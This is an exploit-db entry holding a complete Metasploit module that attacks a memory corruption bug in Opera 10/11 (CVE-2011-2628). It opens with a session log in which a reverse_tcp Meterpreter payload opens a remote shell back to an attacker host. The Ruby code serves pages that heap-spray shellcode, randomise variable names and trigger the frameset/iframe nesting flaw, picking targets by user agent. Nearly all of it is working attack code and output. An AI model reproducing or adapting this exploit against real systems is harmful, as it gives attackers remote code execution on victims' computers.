Opera 10/11 – Bad Nesting with Frameset Tag Memory Corruption (Metasploit)

  • 作者: Jose A. Vazquez
    日期: 2011-10-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17936/
  • ###############################################################################################################
    # Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
    #
    # Vulnerability:
    #
    # Discovered: 2010-08-18
    # Patched: 2011-05-18
    # Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
    #							v11.xx < v11.11 (v11.00, v11.01 and v11.10)
    # Patched on: v11.11
    #
    # Exploit:
    #
    # Coded: 2010-09-23
    # Last revision: 2011-09-30
    #
    # RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
    # DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
    #
    # Notes:
    #
    #	1) DEP bypass: possible but unreliable.
    #	2) Let me know if you improve this one ;)
    #	3) Most of times, it won't work at first attempt and need crash-dialog interaction.
    #
    # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
    #
    # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
    #
    # Running against Opera v10.62...
    #
    #
    #=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
    # + -- --=[ 741 exploits - 378 auxiliary - 82 post
    # + -- --=[ 228 payloads - 27 encoders - 8 nops
    #=[ svn r13801 updated 3 days ago (2011.09.27)
    #
    # msf > use windows/browser/opera_frameset_tag
    # msfexploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
    # payload => windows/meterpreter/reverse_tcp
    # msfexploit(opera_frameset_tag) > set LHOST 192.168.1.103
    # LHOST => 192.168.1.103
    # msfexploit(opera_frameset_tag) > exploit
    # [*] Exploit running as background job.
    #
    # [*] Started reverse handler on 192.168.1.103:4444
    # msfexploit(opera_frameset_tag) >
    # [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
    # [*]Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
    # [*] Server started.
    # [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
    # [*] Sending stage 1 (Spraying the heap)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage (752128 bytes) to 192.168.1.104
    # [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
    # Interrupt: use the 'exit' command to quit
    # msfexploit(opera_frameset_tag) > sessions
    #
    # Active sessions
    # ===============
    #
    # IdType InformationConnection
    # ------ ---------------------
    # 1 meterpreter x86/win320XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12192.168.1.103:4444 -> 192.168.1.104:1190
    #
    # msfexploit(opera_frameset_tag) > sessions -i 1
    # [*] Starting interaction with 1...
    #
    # meterpreter > getuid
    # Server username: 0XDE1-A39ED4C12\0xde1
    # meterpreter > execute -fcalc.exe
    # Process 1336 created.
    # meterpreter > exit
    # [*] Shutting down Meterpreter...
    # msfexploit(opera_frameset_tag) >
    #
    ################################################################################################################
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	
    	def initialize(info = {})
    	
    		super(update_info(info,
    			'Name' => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
    			'Description'=> %q{
    			
    				This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within 
    				Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. 
    				Successfully exploiting leads to remote code execution or denial of service condition under Windows XP 
    				SP3 (DEP = off).
    				
    				Note than most of cases, it won't work at first attempt and need crash-dialog interaction. 
    				Read the last reference for further details.
    				
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Jose A. Vazquez'
    				],
    			'Version'=> '$Revision: 0011 $',
    			'References' =>
    				[
    					['CVE', '2011-2628'],
    					['OSVDB', '72406'],
    					['BID', '47906'],
    					['URL', 'http://www.opera.com/support/kb/view/992/'],
    					['URL', 'http://www.beyondsecurity.com/ssd.html'],
    					['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
    					['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC'=> 'process',
    					'HTTP::compression' => 'gzip',
    					'HTTP::chunked' => true
    				},
    			'Payload'=>
    				{
    					'Space'=> 1000,
    					'BadChars' => "\x00",
    					'Compat' =>
    						{
    							'ConnectionType' => '-find',
    						},
    					'StackAdjustment' => -3500
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# Automatic
    					[ 'Automatic',
    						{}
    					],
    					
    					# Opera > v10.54 ~ spray of 350 MB
    					[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',
    						{
    							'SizeofSpray' => 700,
    							'Ret' => 0x0c0c0c0c
    						}
    					],
    					
    					# Opera <= v10.54 ~ spray of 250 MB
    					[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',
    						{
    							'SizeofSpray' => 500,
    							'Ret' => 0x0c0c0c0c
    						}
    					],
    					
    					# Opera < v10.50 doesn't get crashed with previous method and it needs this one.
    					[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',
    						{
    							'SizeofSpray' => 500,
    							'Ret' => 0x0c0c0c0c
    						}
    					]
    				],
    			'DisclosureDate' => '5 October 2011',
    			'DefaultTarget'=> 0))
    			
    	end
    	
    	#I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection 
    	
    	def automatic_target(cli, request)
    
    		thistarget = nil
    	
    		agent = request.headers['User-Agent']
    
    		if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/ 
    			thistarget = targets[3]
    		elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
    			thistarget = targets[2]
    		else
    			thistarget = targets[1]
    		end
    		
    		thistarget
    		
    	end
    	
    	def on_request_uri(cli, request)
    	
    		mytarget = target
    		
    		if target.name == 'Automatic'
    			mytarget = automatic_target(cli, request)
    		end
    	
    		if(request.uri =~ /\.xhtml$/)
    		
    			#Send file for trigger the vulnerability for cases > v10.10		
    				
    			html = %Q|
    					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
    					<meta http-equiv="refresh" content="0;url=" />	
    						<xht:frameset>
    							<xht:iframe>
    								<xht:script>
    								rbc
    								</xht:script>
    								<style type="text/css">
    									<!-- /* padding CSS */
    
    									approx:root{	
    										font: 333em;
    									}
    									-->
    								</style>
    							</xht:iframe>
    						</xht:frameset>
    					</html>
    				|
    		
    			#Send triggerer
    		
    			print_status("Sending stage 2 (Triggering the vulnerability)")
    			
    			var_contentype = 'application/xhtml+xml'
    			
    		else
    			
    			#Send payload + hide iframe for trigger the vuln
    		
    			#Re-generate the payload
    		
    			return if ((p = regenerate_payload(cli)) == nil)
    			
    			#Encode the shellcode
    			
    			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
    			
    			#Ret
    			
    			addr_word= [mytarget.ret].pack('V').unpack('H*')[0][0,4]
    			
    			#Randomize the javascript variable names
    			
    			var_buffer	= 	rand_text_alpha(rand(30)+2)
    			var_shellcode	= 	rand_text_alpha(rand(30)+2)
    			var_unescape	= 	rand_text_alpha(rand(30)+2)
    			var_x 	= 	rand_text_alpha(rand(30)+2)
    			var_i 	= 	rand_text_alpha(rand(30)+2)
    
    			var_size	= 	rand_text_alpha(rand(30)+2)
    			var_nopsize 	= 	rand_text_alpha(rand(30)+2)
    			var_limit 	= 	rand_text_alpha(rand(30)+2)
    			
    			var_function_trigger 	= 	rand_text_alpha(rand(30)+2)
    			var_file_trigger	=	rand_text_alpha(rand(30)+2)
    			
    			var_timer_trigger = (rand(3) + 2) * 1000
    			
    			#Build the exploit
    			
    			var_url =((datastore['SSL']) ? "https://" : "http://")
    			var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
    			var_url << ":" + datastore['SRVPORT']
    			var_url << get_resource
    			
    			#Sending init HTML
    			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
    			
    			if mytarget.name =~ /v10.00/
    			
    			# Case v10.00 - v10.10
    			
    				html = %Q|
    					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
    						<xht:frameset>
    							<xht:iframe>
    								<xht:script>
    									aaaaaa
    								</xht:script>
    							</xht:iframe>
    						</xht:frameset>
    						<script type="text/javascript">
    							<![CDATA[
    								var #{var_unescape}= unescape;
    								var #{var_shellcode} = #{var_unescape}("#{shellcode}");
    
    								var #{var_size} = #{var_shellcode}.length * 2;
    								var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
    								var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
    														
    								while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
    									#{var_buffer} += #{var_buffer};
    								}
    
    								var #{var_x} = new Array();
    									
    								for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
    									#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
    								}
    								setInterval("location.reload()", 500);
    							]]>
    						</script>
    					<html>
    					|	
    		
    				print_status("Sending simple stage (Sprayer and Triggerer)")
    				var_contentype = 'application/xhtml+xml'
    			
    			else
    			
    			# Case > v10.10
    			
    				html = %Q|
    						<html>
    							<head>
    								<script type="text/javascript">
    									var #{var_unescape}= unescape;
    									var #{var_shellcode} = #{var_unescape}("#{shellcode}");
    
    									var #{var_size} = #{var_shellcode}.length * 2;
    									var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
    									var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
    													
    									while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
    										#{var_buffer} += #{var_buffer};
    									}
    
    									var #{var_x} = new Array();
    									
    									for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
    										#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
    									}
    									
    									function #{var_function_trigger}(){
    										document.write("<iframe src='https://www.exploit-db.com/exploits/17936/#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
    									}
    									
    									setTimeout('#{var_function_trigger}()',#{var_timer_trigger});
    									
    								</script>
    							</head>
    						<html>
    					|	
    					
    				print_status("Sending stage 1 (Spraying the heap)")
    				var_contentype = 'text/html'
    				
    			end
    				
    		end
    	
    		#Response
    		send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
    		#Handle the payload			
    		handler(cli)
    		
    	end
    	
    end